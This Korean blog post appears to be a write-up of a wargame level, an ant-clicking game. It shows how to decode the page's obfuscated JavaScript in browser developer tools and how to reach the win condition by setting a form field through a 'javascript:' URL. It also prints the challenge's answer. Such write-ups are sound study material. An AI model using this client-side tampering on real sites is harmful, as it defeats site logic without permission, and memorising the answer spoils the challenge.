링크: http://webgame.wowhacker.com/AnTsGam3/


주어진 링크를 따라 들어가봅시다. 



크롬(chrome)으로 들어가면 달팽이 이미지가 보이고, 'Target Point' 에 매우 큰 숫자가 보입니다. 

그리고 저절로 숫자가 올라가면서 'Target Point' 뒤에 글자가 바뀌는군요. 


그런데 무슨 의도인지 알기가 애매합니다. 


혹시 모르니 익스플로러(Explorer)로 들어가봅시다. 


아..마우스로 개미를 클릭 할 때마다 숫자가 올라가는 개미 잡기 게임이였군요. 


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^



  • 1단계: 자바스크립트 내용 보기 


화면에서 마우스 우 클릭 후 'View Page Source'를 선택합니다. 


소스를 보면 매우 긴 자바 스크립트가 보이게 되죠. 

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%

.. 중략 ..

%2636372C%2636372F%2636372C2%2638%263%3A%264D0tdsjqu%264F1')</script>


그런데 내용은 매우 길지만 난독화가 되어 있어서 도무지 알아볼 수가 없네요. 



  • 2단계: 난독화된 코드 복호화 하기 - 크롬


크롬은 기본적으로 자바스크립트 난독화 코드에 대해 복호화 해주는 기능을 제공해줍니다. 

'F12'키를 눌러 봅시다. 



화면 하단부에 html 소스가 보입니다. 

'<html>'의 '<head>'에 자바스크립트가 나와있는게 보입니다. 


자바스크립트에서 'Target Point'인 '4294967296' 검색해봅시다. 


point별로 화면에 보이던 문자가 보이는걸 보니 우리가 찾던 소스인것 같네요. 

그리고, point가 'Target Point'보다 클 경우에 대한 내용도 나와 있습니다. 



  • 2단계: 난독화된 코드 복호화 하기 - 파이어폭스(Firefox)


파이어폭스에서는 마우스 우 클릭 후 'Inspect Element(Q)'를 선택하면 됩니다. 



역시나 하단부에 스크립트 내용이 보이게 되고 크롬브라우저와 동일하게 point를 계산하는 코드를 찾아보시면 됩니다. 



  • 3단계: 정답 페이지 찾기 - 크롬


위에 코드를 보니 point 값을 넣어주는 부분이 보이는 군요. 


var point = document.wow.WoWPoInT.value;


크롬의 훌륭한(?) 기능을 활용해서 이 값을 변경해 봅시다. 

브라우저의 주소 입력창에 아래와 같이 입력해봅시다. 


javascript: document.wow.WoWPoInT.value=4294967296


앞에 'javascript:'를 붙여서 자바스크립트의 특정 값을 지정해줄 수 있는 기능입니다. 


잠시후.. 



다른 페이지로 이동되면서 화면에 답이 똭~! 나오네요. 



  • 3단계: 정답 페이지 찾기 - 파이어폭스


문제의 코드를 자세하게 살펴 봅시다. 


if (point >= 4294967296) {

var o = "";

o += document.b.a.value;

o += document.e.a.value;

o += document.c.a.value;

o += document.a.a.value;

o += document.d.a.value;

document.wow.MSG.value = "Bingo!";

location.href="wOwLevel6.php?msg=" + o + "!";

}


point가 목표 수치에 도달하면 'o'라는 변수에 a,b,c,d,e 각각의 'a.value'를 붙이도록 되어 있군요. 

그리고 나선 'location.href'로 링크를 현재 페이지의 뒷 부분을 지정해주도록 해줬네요. 


그럼, a,b,c,d,e라는 변수에 어떤 값이 들어있는지를 찾으면 되는 거네요. 


자, 자바스크립트를 보여주는 화면의 끝으로 이동해봅시다. 



<form name="a"> 가 보이고..  값이 "Crazy"라고 나오는군요. 

그 아래로 b,c,d,e가 모두 보입니다. 


위에서 봤던 코드에서 b,e,c,a,d 순서로 문자를 더했으니 우리도 그 순서대로 더해봅시다. 

'IdontLikeCrazyCow'가 되는군요. 


이제 주소창에 구한 답을 가지고 링크를 아래와 같이 입력해봅시다. 



역시 정답 페이지가 나옵니다. 


스마트한 브라우저 덕분에 난독화된 자바스크립트 보는거 참 쉽죠? 굿잡


Posted by KT한
,